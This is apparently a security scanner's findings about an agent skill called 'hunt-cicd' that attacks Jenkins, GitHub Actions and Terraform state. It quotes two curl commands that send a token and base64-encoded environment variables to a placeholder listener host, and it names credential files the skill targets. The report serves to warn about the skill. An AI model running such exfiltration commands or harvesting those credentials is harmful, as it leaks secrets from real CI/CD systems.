The Agent Skills Directory

[COMMAND_EXECUTION]: The skill contains complex shell scripts designed to automate the probing of Jenkins instances, GitHub Actions workflows, and Terraform state storage. It uses curl, grep, jq, and gh to programmatically interact with remote services and local configuration files.
[DATA_EXFILTRATION]: Instructions include patterns for exfiltrating sensitive data, such as GITHUB_TOKEN and environment variables, to external OOB (out-of-band) listeners. Evidence includes the use of placeholders like x.<COLLAB> in commands such as curl "https://x.<COLLAB>/?t=$T" and curl "https://x.<COLLAB>/?d=$(printenv | base64 -w0)".
[REMOTE_CODE_EXECUTION]: The skill provides ready-to-use payloads for the Jenkins Script Console and exploitation instructions for GitHub Actions template injections (${{ }}-into-shell). It also suggests executing external Java JAR files (jenkins-cli.jar) downloaded from target instances.
[CREDENTIALS_UNSAFE]: The skill specifically targets the extraction of sensitive files and credentials, including Jenkins secret.key, master.key, and credentials.xml, as well as plaintext credentials, private keys, and API tokens stored in terraform.tfstate files.

hunt-cicd